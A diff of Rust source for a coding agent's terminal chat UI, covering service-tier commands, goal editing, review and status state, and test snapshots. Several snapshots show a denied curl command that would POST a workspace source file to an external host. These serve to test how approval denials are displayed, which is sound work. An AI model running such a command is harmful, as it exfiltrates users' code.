| ServerNotification::McpServerOauthLoginCompleted(_)
| ServerNotification::AppListUpdated(_)
| ServerNotification::RemoteControlStatusChanged(_)
| ServerNotification::ExternalAgentConfigImportCompleted(_)
| ServerNotification::FsChanged(_)
| ServerNotification::FuzzyFileSearchSessionUpdated(_)
| ServerNotification::FuzzyFileSearchSessionCompleted(_)
| ServerNotification::ThreadRealtimeTranscriptDelta(_)
| ServerNotification::ThreadRealtimeTranscriptDone(_)
| ServerNotification::WindowsWorldWritableWarning(_)
| ServerNotification::WindowsSandboxSetupCompleted(_)
| ServerNotification::AccountLoginCompleted(_) => {}
ServerNotification::ContextCompacted(_) => {}
}
}
pub(super) fn handle_turn_completed_notification(
&mut self,
notification: TurnCompletedNotification,
replay_kind: Option<ReplayKind>,
) {
match notification.turn.status {
TurnStatus::Completed => {
self.last_non_retry_error = None;
self.on_task_complete(
/*last_agent_message*/ None,
notification.turn.duration_ms,
replay_kind.is_some(),
)
}
TurnStatus::Interrupted => {
self.last_non_retry_error = None;
let reason = if self
.turn_lifecycle
.take_budget_limited(notification.turn.id.as_str())
{
TurnAbortReason::BudgetLimited
} else {
TurnAbortReason::Interrupted
};
self.on_interrupted_turn(reason);
}
TurnStatus::Failed => {
if let Some(error) = notification.turn.error {
if self.last_non_retry_error.as_ref()
== Some(&(notification.turn.id.clone(), error.message.clone()))
{
self.last_non_retry_error = None;
} else {
self.handle_non_retry_error(error.message, error.codex_error_info);
}
} else {
self.last_non_retry_error = None;
self.finalize_turn();
self.request_redraw();
self.maybe_send_next_queued_input();
}
}
TurnStatus::InProgress => {}
}
}
fn handle_item_started_notification(
&mut self,
notification: ItemStartedNotification,
from_replay: bool,
) {
match notification.item {
item @ ThreadItem::CommandExecution { .. } => self.on_command_execution_started(item),
ThreadItem::FileChange { id: _, changes, .. } => {
self.on_patch_apply_begin(file_update_changes_to_display(changes));
}
item @ ThreadItem::McpToolCall { .. } => self.on_mcp_tool_call_started(item),
ThreadItem::WebSearch { id, .. } => {
self.on_web_search_begin(id);
}
ThreadItem::ImageGeneration { .. } => {
self.on_image_generation_begin();
}
ThreadItem::CollabAgentToolCall {
id,
tool,
status,
sender_thread_id,
receiver_thread_ids,
prompt,
model,
reasoning_effort,
agents_states,
} => self.on_collab_agent_tool_call(ThreadItem::CollabAgentToolCall {
id,
tool,
status,
sender_thread_id,
receiver_thread_ids,
prompt,
model,
reasoning_effort,
agents_states,
}),
ThreadItem::EnteredReviewMode { review, .. } => {
if !from_replay {
self.enter_review_mode_with_hint(review, /*from_replay*/ false);
}
}
_ => {}
}
}
fn handle_item_completed_notification(
&mut self,
notification: ItemCompletedNotification,
replay_kind: Option<ReplayKind>,
) {
self.handle_thread_item(
notification.item,
notification.turn_id,
replay_kind.map_or(ThreadItemRenderSource::Live, ThreadItemRenderSource::Replay),
);
}
}
+13
View File
@@ -0,0 +1,13 @@
//! Code-review flow state for `ChatWidget`.
use crate::auto_review_denials::RecentAutoReviewDenials;
use crate::token_usage::TokenUsageInfo;
#[derive(Debug, Default)]
pub(super) struct ReviewState {
pub(super) recent_auto_review_denials: RecentAutoReviewDenials,
/// Simple review mode flag; used to adjust layout and banners.
pub(super) is_review_mode: bool,
/// Snapshot of token usage to restore after review mode exits.
pub(super) pre_review_token_info: Option<Option<TokenUsageInfo>>,
}
@@ -0,0 +1,146 @@
//! Service-tier selection and model-catalog helpers for `ChatWidget`.
use super::ChatWidget;
use crate::app_command::AppCommand;
use crate::app_event::AppEvent;
use crate::bottom_pane::slash_commands::ServiceTierCommand;
use codex_features::Feature;
use codex_protocol::config_types::ServiceTier;
use codex_protocol::openai_models::SPEED_TIER_FAST;
impl ChatWidget {
pub(crate) fn set_service_tier(&mut self, service_tier: Option<String>) {
self.config.service_tier = service_tier.clone();
self.effective_service_tier = service_tier;
self.refresh_model_dependent_surfaces();
}
pub(crate) fn current_service_tier(&self) -> Option<&str> {
self.effective_service_tier.as_deref()
}
pub(crate) fn configured_service_tier(&self) -> Option<String> {
self.config.service_tier.clone()
}
pub(crate) fn fast_default_opt_out(&self) -> Option<bool> {
self.config.notices.fast_default_opt_out
}
pub(crate) fn should_show_fast_status(&self, model: &str, service_tier: Option<&str>) -> bool {
service_tier.is_some_and(|service_tier| {
service_tier == ServiceTier::Fast.request_value()
&& self.model_supports_service_tier(model, service_tier)
}) && self.has_chatgpt_account
}
pub(super) fn fast_mode_enabled(&self) -> bool {
self.config.features.enabled(Feature::FastMode)
}
pub(crate) fn can_toggle_fast_mode_from_keybinding(&self) -> bool {
self.fast_mode_enabled()
&& self.current_model_fast_service_tier().is_some()
&& !self.is_user_turn_pending_or_running()
&& self.bottom_pane.no_modal_or_popup_active()
}
pub(crate) fn toggle_fast_mode_from_ui(&mut self) {
let Some(fast_tier) = self.current_model_fast_service_tier() else {
return;
};
let next_tier = if self.current_service_tier() == Some(fast_tier.id.as_str()) {
None
} else {
Some(fast_tier.id)
};
self.set_service_tier_selection(next_tier);
}
pub(crate) fn toggle_service_tier_from_ui(&mut self, command: ServiceTierCommand) {
let next_tier = if self.current_service_tier() == Some(command.id.as_str()) {
None
} else {
Some(command.id)
};
self.set_service_tier_selection(next_tier);
}
pub(super) fn sync_service_tier_commands(&mut self) {
self.bottom_pane
.set_service_tier_commands_enabled(self.fast_mode_enabled());
self.bottom_pane
.set_service_tier_commands(self.current_model_service_tier_commands());
}
pub(super) fn current_model_service_tier_commands(&self) -> Vec<ServiceTierCommand> {
let model = self.current_model();
self.model_catalog
.try_list_models()
.ok()
.and_then(|models| {
models
.into_iter()
.find(|preset| preset.model == model)
.map(|preset| {
preset
.service_tiers
.into_iter()
.map(|tier| ServiceTierCommand {
id: tier.id,
name: tier.name.to_lowercase(),
description: tier.description,
})
.collect()
})
})
.unwrap_or_default()
}
fn set_service_tier_selection(&mut self, service_tier: Option<String>) {
if service_tier.is_none() {
self.config.notices.fast_default_opt_out = Some(true);
}
self.set_service_tier(service_tier.clone());
self.app_event_tx
.send(AppEvent::CodexOp(AppCommand::override_turn_context(
/*cwd*/ None,
/*approval_policy*/ None,
/*approvals_reviewer*/ None,
/*permission_profile*/ None,
/*windows_sandbox_level*/ None,
/*model*/ None,
/*effort*/ None,
/*summary*/ None,
Some(service_tier.clone()),
/*collaboration_mode*/ None,
/*personality*/ None,
)));
self.app_event_tx
.send(AppEvent::PersistServiceTierSelection { service_tier });
}
fn model_supports_service_tier(&self, model: &str, service_tier: &str) -> bool {
self.model_catalog
.try_list_models()
.ok()
.and_then(|models| {
models
.into_iter()
.find(|preset| preset.model == model)
.map(|preset| {
preset
.service_tiers
.iter()
.any(|tier| tier.id == service_tier)
})
})
.unwrap_or(false)
}
fn current_model_fast_service_tier(&self) -> Option<ServiceTierCommand> {
self.current_model_service_tier_commands()
.into_iter()
.find(|tier| tier.name.eq_ignore_ascii_case(SPEED_TIER_FAST))
}
}
+6 -1
View File
@@ -18,13 +18,18 @@ use codex_core_skills::model::SkillDependencies;
use codex_core_skills::model::SkillInterface;
use codex_core_skills::model::SkillMetadata;
use codex_core_skills::model::SkillToolDependency;
use codex_features::Feature;
use codex_protocol::parse_command::ParsedCommand;
use codex_utils_absolute_path::AbsolutePathBuf;
use codex_utils_plugins::mention_syntax::TOOL_MENTION_SIGIL;
impl ChatWidget {
pub(crate) fn open_skills_list(&mut self) {
self.insert_str("$");
if self.config.features.enabled(Feature::MentionsV2) {
self.insert_str("@");
} else {
self.insert_str("$");
}
}
pub(crate) fn open_skills_menu(&mut self) {
+59 -35
View File
@@ -9,7 +9,10 @@ use super::goal_validation::GoalObjectiveValidationSource;
use super::*;
use crate::app_event::ThreadGoalSetMode;
use crate::bottom_pane::prompt_args::parse_slash_name;
use crate::bottom_pane::slash_commands;
use crate::bottom_pane::slash_commands::BuiltinCommandFlags;
use crate::bottom_pane::slash_commands::ServiceTierCommand;
use crate::bottom_pane::slash_commands::SlashCommandItem;
use crate::bottom_pane::slash_commands::find_slash_command;
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
enum SlashCommandDispatchSource {
@@ -48,6 +51,20 @@ impl ChatWidget {
self.bottom_pane.record_pending_slash_command_history();
}
pub(super) fn handle_service_tier_command_dispatch(&mut self, command: ServiceTierCommand) {
if self.active_side_conversation {
self.add_error_message(format!(
"'/{}' is unavailable in side conversations. {SIDE_SLASH_COMMAND_UNAVAILABLE_HINT}",
command.name
));
self.bottom_pane.drain_pending_submission_state();
self.bottom_pane.record_pending_slash_command_history();
return;
}
self.toggle_service_tier_from_ui(command);
self.bottom_pane.record_pending_slash_command_history();
}
/// Dispatch an inline slash command and record its staged local-history entry.
///
/// Inline command arguments may later be prepared through the normal submission pipeline, but
@@ -184,9 +201,6 @@ impl ChatWidget {
SlashCommand::Model => {
self.open_model_popup();
}
SlashCommand::Fast => {
self.toggle_fast_mode_from_ui();
}
SlashCommand::Realtime => {
if !self.realtime_conversation_enabled() {
return;
@@ -216,6 +230,7 @@ impl ChatWidget {
if let Some(thread_id) = self.thread_id {
self.app_event_tx
.send(AppEvent::OpenThreadGoalMenu { thread_id });
self.append_message_history_entry("/goal".to_string());
} else {
self.add_info_message(
GOAL_USAGE.to_string(),
@@ -572,27 +587,6 @@ impl ChatWidget {
} = prepared;
let trimmed = args.trim();
match cmd {
SlashCommand::Fast => {
match trimmed.to_ascii_lowercase().as_str() {
"on" => self.set_service_tier_selection(Some(ServiceTier::Fast)),
"off" => self.set_service_tier_selection(/*service_tier*/ None),
"status" => {
let status =
if matches!(self.current_service_tier(), Some(ServiceTier::Fast)) {
"on"
} else {
"off"
};
self.add_info_message(
format!("Fast mode is {status}."),
/*hint*/ None,
);
}
_ => {
self.add_error_message("Usage: /fast [on|off|status]".to_string());
}
}
}
SlashCommand::Ide => {
self.handle_ide_command_args(trimmed);
}
@@ -668,6 +662,15 @@ impl ChatWidget {
}
let control_command = match trimmed.to_ascii_lowercase().as_str() {
"clear" => Some(GoalControlCommand::Clear),
"edit" => {
self.app_event_tx.send(AppEvent::OpenThreadGoalEditor {
thread_id: self.thread_id,
});
if source == SlashCommandDispatchSource::Live {
self.bottom_pane.drain_pending_submission_state();
}
return;
}
"pause" => Some(GoalControlCommand::SetStatus(AppThreadGoalStatus::Paused)),
"resume" => Some(GoalControlCommand::SetStatus(AppThreadGoalStatus::Active)),
_ => None,
@@ -692,6 +695,7 @@ impl ChatWidget {
.send(AppEvent::SetThreadGoalStatus { thread_id, status });
}
}
self.append_message_history_entry(format!("/goal {trimmed}"));
if source == SlashCommandDispatchSource::Live {
self.bottom_pane.drain_pending_submission_state();
}
@@ -742,6 +746,7 @@ impl ChatWidget {
objective: objective.to_string(),
mode: ThreadGoalSetMode::ConfirmIfExists,
});
self.append_message_history_entry(format!("/goal {trimmed}"));
if source == SlashCommandDispatchSource::Live {
self.bottom_pane.drain_pending_submission_state();
}
@@ -813,7 +818,9 @@ impl ChatWidget {
return QueueDrain::Stop;
}
let Some(cmd) = slash_commands::find_builtin_command(name, self.builtin_command_flags())
let service_tier_commands = self.current_model_service_tier_commands();
let Some(command) =
find_slash_command(name, self.builtin_command_flags(), &service_tier_commands)
else {
self.add_info_message(
format!(
@@ -825,11 +832,19 @@ impl ChatWidget {
};
if rest.is_empty() {
self.dispatch_command(cmd);
return self.queued_command_drain_result(cmd);
return match command {
SlashCommandItem::Builtin(cmd) => {
self.dispatch_command(cmd);
self.queued_command_drain_result(cmd)
}
SlashCommandItem::ServiceTier(command) => {
self.handle_service_tier_command_dispatch(command);
QueueDrain::Continue
}
};
}
if !cmd.supports_inline_args() {
if !command.supports_inline_args() {
self.submit_user_message(UserMessage {
text,
local_images,
@@ -839,6 +854,16 @@ impl ChatWidget {
});
return QueueDrain::Stop;
}
let SlashCommandItem::Builtin(cmd) = command else {
self.submit_user_message(UserMessage {
text,
local_images,
remote_image_urls,
text_elements,
mention_bindings,
});
return QueueDrain::Stop;
};
let trimmed_start = rest.trim_start();
let leading_trimmed = rest.len().saturating_sub(trimmed_start.len());
@@ -867,7 +892,7 @@ impl ChatWidget {
self.queued_command_drain_result(cmd)
}
fn builtin_command_flags(&self) -> slash_commands::BuiltinCommandFlags {
fn builtin_command_flags(&self) -> BuiltinCommandFlags {
#[cfg(target_os = "windows")]
let allow_elevate_sandbox = {
let windows_sandbox_level = WindowsSandboxLevel::from_config(&self.config);
@@ -876,12 +901,12 @@ impl ChatWidget {
#[cfg(not(target_os = "windows"))]
let allow_elevate_sandbox = false;
slash_commands::BuiltinCommandFlags {
BuiltinCommandFlags {
collaboration_modes_enabled: self.collaboration_modes_enabled(),
connectors_enabled: self.connectors_enabled(),
plugins_command_enabled: self.config.features.enabled(Feature::Plugins),
goal_command_enabled: self.config.features.enabled(Feature::Goals),
fast_command_enabled: self.fast_mode_enabled(),
service_tier_commands_enabled: self.fast_mode_enabled(),
personality_command_enabled: self.config.features.enabled(Feature::Personality),
realtime_conversation_enabled: self.realtime_conversation_enabled(),
audio_device_selection_enabled: self.realtime_audio_device_selection_enabled(),
@@ -895,8 +920,7 @@ impl ChatWidget {
return QueueDrain::Stop;
}
match cmd {
SlashCommand::Fast
| SlashCommand::Ide
SlashCommand::Ide
| SlashCommand::Status
| SlashCommand::DebugConfig
| SlashCommand::Ps
@@ -988,7 +1012,7 @@ impl ChatWidget {
}
fn ensure_side_command_allowed_outside_review(&mut self, cmd: SlashCommand) -> bool {
if cmd != SlashCommand::Side || !self.is_review_mode {
if cmd != SlashCommand::Side || !self.review.is_review_mode {
return true;
}
@@ -9,8 +9,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
odex.rs https://example.com
✗ Request denied for codex to run curl -sS -i -X POST --data-binary
@core/src/codex.rs https://example.com
• Working (0s • esc to interrupt)
@@ -9,8 +9,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co
re/src/codex.rs https://example.com
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary
@core/src/codex.rs https://example.com
• Working (0s • esc to interrupt)
@@ -0,0 +1,9 @@
---
source: tui/src/chatwidget/tests/goal_menu.rs
expression: "render_bottom_popup(&chat, 100)"
---
▌ Edit goal
▌
▌ Keep improving the bare goal command until it feels calm and useful.
Press enter to confirm or esc to go back
@@ -9,4 +9,4 @@ Time used: 1m
Tokens used: 12.5K
Token budget: 80K
Commands: /goal pause, /goal clear
Commands: /goal edit, /goal pause, /goal clear
@@ -9,4 +9,4 @@ Time used: 1m
Tokens used: 12.5K
Token budget: 80K
Commands: /goal clear
Commands: /goal edit, /goal clear
@@ -8,4 +8,4 @@ Objective: Keep improving the bare goal command until it feels calm and useful.
Time used: 1m
Tokens used: 12.5K
Commands: /goal resume, /goal clear
Commands: /goal edit, /goal resume, /goal clear
@@ -13,8 +13,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
transmit the full contents of a workspace source file (`core/src/codex.rs`) to
`https://example.com`, which is an external and untrusted endpoint.
✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
odex.rs https://example.com
✗ Request denied for codex to run curl -sS -i -X POST --data-binary
@core/src/codex.rs https://example.com
• Working (0s • esc to interrupt)
@@ -13,8 +13,8 @@ expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
⚠ Automatic approval review timed out while evaluating the requested approval.
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co
re/src/codex.rs https://example.com
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary
@core/src/codex.rs https://example.com
• Working (0s • esc to interrupt)
@@ -13,6 +13,8 @@ expression: popup
PreToolUse 0 0 Before a tool executes
PermissionRequest 0 0 When permission is requested
PostToolUse 0 0 After a tool executes
PreCompact 0 0 Before context compaction
PostCompact 0 0 After context compaction
SessionStart 0 0 When a new session starts
UserPromptSubmit 0 0 When the user submits a prompt
Stop 0 0 Right before Codex ends its turn
@@ -4,10 +4,9 @@ expression: popup
---
Select Reasoning Level for gpt-5.4
1. Low Fast responses with lighter reasoning
2. Medium Balances speed and reasoning depth for everyday
tasks
› 3. High (current) Greater reasoning depth for complex problems
4. Extra high (default) Extra high reasoning depth for complex problems
1. Low Fast responses with lighter reasoning
2. Medium (default) Balances speed and reasoning depth for everyday tasks
› 3. High (current) Greater reasoning depth for complex problems
4. Extra high Extra high reasoning depth for complex problems
Press enter to confirm or esc to go back
@@ -11,6 +11,7 @@ expression: popup
› 1. Back to plugins Return to the plugin list.
2. Install plugin Install this plugin now.
Skills design-review, extract-copy
Hooks PreToolUse (1), Stop (2)
Apps Figma, Slack
MCP Servers figma-mcp, docs-mcp
@@ -9,6 +9,7 @@ expression: popup
› 1. Back to plugins Return to the plugin list.
2. Uninstall plugin Remove this plugin now.
Skills design-review, extract-copy
Hooks PreToolUse (1), Stop (2)
Apps Figma, Slack
MCP Servers figma-mcp, docs-mcp
@@ -0,0 +1,7 @@
---
source: tui/src/chatwidget/tests/review_mode.rs
expression: lines_to_single_string(last)
---
⚠ Steer messages aren't supported during /review. Send your message after the
review finishes, or press Ctrl+C now to cancel the review.
@@ -11,7 +11,7 @@ expression: status_line_popup_snapshot(&mut chat)
───────────────────────
[x] project-name Project name (omitted when unavailable)
[x] git-branch Current Git branch (omitted when unavailable)
[x] thread-title Current thread title (omitted when unavailable)
[x] thread-title Current thread title, or thread identifier when unnamed
[ ] model Current model name
[ ] model-with-reasoning Current model name with reasoning level
[ ] current-dir Current working directory
@@ -11,7 +11,7 @@ expression: status_line_popup_snapshot(&mut chat)
───────────────────────
[x] project-name Project name (omitted when unavailable)
[x] git-branch Current Git branch (omitted when unavailable)
[x] thread-title Current thread title (omitted when unavailable)
[x] thread-title Current thread title, or thread identifier when unnamed
[ ] model Current model name
[ ] model-with-reasoning Current model name with reasoning level
[ ] current-dir Current working directory
@@ -11,7 +11,7 @@ expression: status_line_popup_snapshot(&mut chat)
───────────────────────
[x] project-name Project name (omitted when unavailable)
[x] git-branch Current Git branch (omitted when unavailable)
[x] thread-title Current thread title (omitted when unavailable)
[x] thread-title Current thread title, or thread identifier when unnamed
[ ] model Current model name
[ ] model-with-reasoning Current model name with reasoning level
[ ] current-dir Current working directory
@@ -2,5 +2,5 @@
source: tui/src/chatwidget/tests/status_surface_previews.rs
expression: snapshot
---
status line: my-project · feat/awesome-feature · thread title
status line: my-project · feat/awesome-feature · thread title · Read Only · on-request
terminal title: thread title | feat/awesome-feature | Tasks 0/0
@@ -7,7 +7,7 @@ expression: terminal_title_popup_snapshot(&mut chat)
Type to search
>
› [x] thread-title Current thread title (omitted when unavailable)
› [x] thread-title Current thread title, or thread identifier when unnamed
[x] git-branch Current Git branch (omitted when unavailable)
[x] task-progress Latest task progress from update_plan (omitted until available)
[ ] app-name Codex app name
@@ -8,7 +8,7 @@ expression: terminal_title_popup_snapshot(&mut chat)
Type to search
>
› [x] project-name Project name (falls back to current directory name)
[x] thread-title Current thread title (omitted when unavailable)
[x] thread-title Current thread title, or thread identifier when unnamed
[x] git-branch Current Git branch (omitted when unavailable)
[x] task-progress Latest task progress from update_plan (omitted until available)
[ ] app-name Codex app name
@@ -8,7 +8,7 @@ expression: terminal_title_popup_snapshot(&mut chat)
Type to search
>
› [x] project-name Project name (falls back to current directory name)
[x] thread-title Current thread title (omitted when unavailable)
[x] thread-title Current thread title, or thread identifier when unnamed
[x] task-progress Latest task progress from update_plan (omitted until available)
[ ] app-name Codex app name
[ ] current-dir Current working directory
+179
View File
@@ -0,0 +1,179 @@
//! Status indicator and terminal-title state for `ChatWidget`.
use crate::status_indicator_widget::STATUS_DETAILS_DEFAULT_MAX_LINES;
#[derive(Clone, Debug, PartialEq, Eq)]
pub(super) struct StatusIndicatorState {
pub(super) header: String,
pub(super) details: Option<String>,
pub(super) details_max_lines: usize,
}
impl StatusIndicatorState {
pub(super) fn working() -> Self {
Self {
header: String::from("Working"),
details: None,
details_max_lines: STATUS_DETAILS_DEFAULT_MAX_LINES,
}
}
pub(super) fn is_guardian_review(&self) -> bool {
self.header == "Reviewing approval request" || self.header.starts_with("Reviewing ")
}
}
/// Compact runtime states that can be rendered into the terminal title.
///
/// This is intentionally smaller than the full status-header vocabulary. The
/// title needs short, stable labels, so callers map richer lifecycle events
/// onto one of these buckets before rendering.
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
pub(super) enum TerminalTitleStatusKind {
Working,
WaitingForBackgroundTerminal,
#[default]
Thinking,
}
#[derive(Clone, Debug, Default, PartialEq, Eq)]
pub(super) struct PendingGuardianReviewStatus {
entries: Vec<PendingGuardianReviewStatusEntry>,
}
#[derive(Clone, Debug, PartialEq, Eq)]
struct PendingGuardianReviewStatusEntry {
id: String,
detail: String,
}
impl PendingGuardianReviewStatus {
pub(super) fn start_or_update(&mut self, id: String, detail: String) {
if let Some(existing) = self.entries.iter_mut().find(|entry| entry.id == id) {
existing.detail = detail;
} else {
self.entries
.push(PendingGuardianReviewStatusEntry { id, detail });
}
}
pub(super) fn finish(&mut self, id: &str) -> bool {
let original_len = self.entries.len();
self.entries.retain(|entry| entry.id != id);
self.entries.len() != original_len
}
pub(super) fn is_empty(&self) -> bool {
self.entries.is_empty()
}
// Guardian review status is derived from the full set of currently pending
// review entries. The generic status cache on `ChatWidget` stores whichever
// footer is currently rendered; this helper computes the guardian-specific
// footer snapshot that should replace it while reviews remain in flight.
pub(super) fn status_indicator_state(&self) -> Option<StatusIndicatorState> {
let details = if self.entries.len() == 1 {
self.entries.first().map(|entry| entry.detail.clone())
} else if self.entries.is_empty() {
None
} else {
let mut lines = self
.entries
.iter()
.take(3)
.map(|entry| format!("• {}", entry.detail))
.collect::<Vec<_>>();
let remaining = self.entries.len().saturating_sub(3);
if remaining > 0 {
lines.push(format!("+{remaining} more"));
}
Some(lines.join("\n"))
};
let details = details?;
let header = if self.entries.len() == 1 {
String::from("Reviewing approval request")
} else {
format!("Reviewing {} approval requests", self.entries.len())
};
let details_max_lines = if self.entries.len() == 1 { 1 } else { 4 };
Some(StatusIndicatorState {
header,
details: Some(details),
details_max_lines,
})
}
}
#[derive(Debug)]
pub(super) struct StatusState {
pub(super) current_status: StatusIndicatorState,
pub(super) pending_guardian_review_status: PendingGuardianReviewStatus,
pub(super) terminal_title_status_kind: TerminalTitleStatusKind,
pub(super) retry_status_header: Option<String>,
pub(super) pending_status_indicator_restore: bool,
}
impl Default for StatusState {
fn default() -> Self {
Self {
current_status: StatusIndicatorState::working(),
pending_guardian_review_status: PendingGuardianReviewStatus::default(),
terminal_title_status_kind: TerminalTitleStatusKind::Working,
retry_status_header: None,
pending_status_indicator_restore: false,
}
}
}
impl StatusState {
pub(super) fn set_status(&mut self, status: StatusIndicatorState) {
self.current_status = status;
}
pub(super) fn take_retry_status_header(&mut self) -> Option<String> {
self.retry_status_header.take()
}
pub(super) fn remember_retry_status_header(&mut self) {
if self.retry_status_header.is_none() {
self.retry_status_header = Some(self.current_status.header.clone());
}
}
}
#[cfg(test)]
mod tests {
use pretty_assertions::assert_eq;
use super::*;
#[test]
fn guardian_status_aggregates_parallel_reviews() {
let mut state = PendingGuardianReviewStatus::default();
state.start_or_update("a".to_string(), "first".to_string());
state.start_or_update("b".to_string(), "second".to_string());
assert_eq!(
state.status_indicator_state(),
Some(StatusIndicatorState {
header: "Reviewing 2 approval requests".to_string(),
details: Some("• first\n• second".to_string()),
details_max_lines: 4,
})
);
}
#[test]
fn retry_status_header_is_taken_once() {
let mut state = StatusState::default();
state.current_status.header = "Thinking".to_string();
state.remember_retry_status_header();
assert_eq!(
state.take_retry_status_header(),
Some("Thinking".to_string())
);
assert_eq!(state.take_retry_status_header(), None);
}
}
+80 -39
View File
@@ -6,7 +6,15 @@
use super::*;
use crate::bottom_pane::status_line_from_segments;
use crate::branch_summary;
use crate::legacy_core::config::Config;
use crate::status::format_tokens_compact;
use codex_app_server_protocol::AskForApproval;
use codex_protocol::config_types::ApprovalsReviewer;
use codex_protocol::config_types::ServiceTier;
use codex_protocol::models::PermissionProfile;
use codex_utils_sandbox_summary::summarize_permission_profile;
use super::status_state::TerminalTitleStatusKind;
/// Items shown in the terminal title when the user has not configured a
/// custom selection. Intentionally minimal: activity indicator + project name.
@@ -26,19 +34,6 @@ const TERMINAL_TITLE_ACTION_REQUIRED_INTERVAL: Duration = Duration::from_secs(1)
const TERMINAL_TITLE_ACTION_REQUIRED_PREFIX: &str = "[ ! ] Action Required";
const TERMINAL_TITLE_ACTION_REQUIRED_PREFIX_HIDDEN: &str = "[ . ] Action Required";
/// Compact runtime states that can be rendered into the terminal title.
///
/// This is intentionally smaller than the full status-header vocabulary. The
/// title needs short, stable labels, so callers map richer lifecycle events
/// onto one of these buckets before rendering.
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
pub(super) enum TerminalTitleStatusKind {
Working,
WaitingForBackgroundTerminal,
#[default]
Thinking,
}
#[derive(Debug)]
/// Parsed status-surface configuration for one refresh pass.
///
@@ -590,9 +585,11 @@ impl ChatWidget {
}
}),
StatusLineItem::Status => Some(self.run_state_status_text()),
StatusLineItem::Permissions => Some(permissions_display(&self.config)),
StatusLineItem::ApprovalMode => Some(approval_mode_display(&self.config)),
StatusLineItem::UsedTokens => {
let usage = self.status_line_total_usage();
let total = usage.tokens_in_context_window();
let total = usage.blended_total();
if total <= 0 {
None
} else {
@@ -641,17 +638,24 @@ impl ChatWidget {
)),
StatusLineItem::SessionId => self.thread_id.map(|id| id.to_string()),
StatusLineItem::FastMode => Some(
if matches!(self.current_service_tier(), Some(ServiceTier::Fast)) {
if self.current_service_tier() == Some(ServiceTier::Fast.request_value()) {
"Fast on".to_string()
} else {
"Fast off".to_string()
},
),
StatusLineItem::RawOutput => self.raw_output_mode().then(|| "raw output".to_string()),
StatusLineItem::ThreadTitle => self.thread_name.as_ref().and_then(|name| {
let trimmed = name.trim();
(!trimmed.is_empty()).then(|| trimmed.to_string())
}),
StatusLineItem::ThreadTitle => self.thread_name.as_ref().map_or_else(
|| self.thread_id.map(|id| id.to_string()),
|name| {
let trimmed = name.trim();
if trimmed.is_empty() {
self.thread_id.map(|id| id.to_string())
} else {
Some(trimmed.to_string())
}
},
),
StatusLineItem::TaskProgress => self.terminal_title_task_progress(),
}
}
@@ -678,6 +682,8 @@ impl ChatWidget {
StatusSurfacePreviewItem::GitBranch => StatusLineItem::GitBranch,
StatusSurfacePreviewItem::PullRequestNumber => StatusLineItem::PullRequestNumber,
StatusSurfacePreviewItem::BranchChanges => StatusLineItem::BranchChanges,
StatusSurfacePreviewItem::Permissions => StatusLineItem::Permissions,
StatusSurfacePreviewItem::ApprovalMode => StatusLineItem::ApprovalMode,
StatusSurfacePreviewItem::ContextRemaining => StatusLineItem::ContextRemaining,
StatusSurfacePreviewItem::ContextUsed => StatusLineItem::ContextUsed,
StatusSurfacePreviewItem::FiveHourLimit => StatusLineItem::FiveHourLimit,
@@ -713,17 +719,9 @@ impl ChatWidget {
)),
TerminalTitleItem::Spinner => self.terminal_title_spinner_text_at(now),
TerminalTitleItem::Status => Some(self.run_state_status_text()),
TerminalTitleItem::Thread => self.thread_name.as_ref().and_then(|name| {
let trimmed = name.trim();
if trimmed.is_empty() {
None
} else {
Some(Self::truncate_terminal_title_part(
trimmed.to_string(),
/*max_chars*/ 48,
))
}
}),
TerminalTitleItem::Thread => self
.status_line_value_for_item(StatusLineItem::ThreadTitle)
.map(|value| Self::truncate_terminal_title_part(value, /*max_chars*/ 48)),
TerminalTitleItem::GitBranch => self.status_line_branch.as_ref().map(|branch| {
Self::truncate_terminal_title_part(branch.clone(), /*max_chars*/ 32)
}),
@@ -771,13 +769,18 @@ impl ChatWidget {
fn model_with_reasoning_display_name(&self) -> String {
let label = Self::status_line_reasoning_effort_label(self.effective_reasoning_effort());
let fast_label =
if self.should_show_fast_status(self.current_model(), self.current_service_tier()) {
" fast"
} else {
""
};
format!("{} {label}{fast_label}", self.model_display_name())
let service_tier_label = self
.current_service_tier()
.and_then(|service_tier| {
self.current_model_service_tier_commands()
.into_iter()
.find(|tier| tier.id == service_tier)
.map(|tier| tier.name)
})
.filter(|_| self.has_chatgpt_account)
.map(|tier| format!(" {tier}"))
.unwrap_or_default();
format!("{} {label}{service_tier_label}", self.model_display_name())
}
/// Computes the compact runtime status label used by word-based status items.
@@ -789,7 +792,7 @@ impl ChatWidget {
return "Starting".to_string();
}
match self.terminal_title_status_kind {
match self.status_state.terminal_title_status_kind {
TerminalTitleStatusKind::Working if !self.bottom_pane.is_task_running() => {
"Ready".to_string()
}
@@ -865,7 +868,7 @@ impl ChatWidget {
/// Formats the last `update_plan` progress snapshot for terminal-title display.
pub(super) fn terminal_title_task_progress(&self) -> Option<String> {
let (completed, total) = self.last_plan_progress?;
let (completed, total) = self.transcript.last_plan_progress?;
if total == 0 {
return None;
}
@@ -890,6 +893,44 @@ impl ChatWidget {
}
}
fn permissions_display(config: &Config) -> String {
let active_permission_profile = config.permissions.active_permission_profile();
if let Some(active_permission_profile) = active_permission_profile.as_ref()
&& !active_permission_profile.id.starts_with(':')
{
return active_permission_profile.id.clone();
}
let permission_profile = config.permissions.permission_profile();
let summary = summarize_permission_profile(&permission_profile, config.cwd.as_path());
if let Some(details) = summary.strip_prefix("read-only")
&& !details.contains("(network access enabled)")
{
return "Read Only".to_string();
}
if let Some(details) = summary.strip_prefix("workspace-write")
&& !details.contains("(network access enabled)")
{
return "Workspace".to_string();
}
if permission_profile == PermissionProfile::Disabled {
return "Full Access".to_string();
}
"Custom permissions".to_string()
}
fn approval_mode_display(config: &Config) -> String {
let approval_policy = AskForApproval::from(config.permissions.approval_policy.value());
if approval_policy == AskForApproval::OnRequest
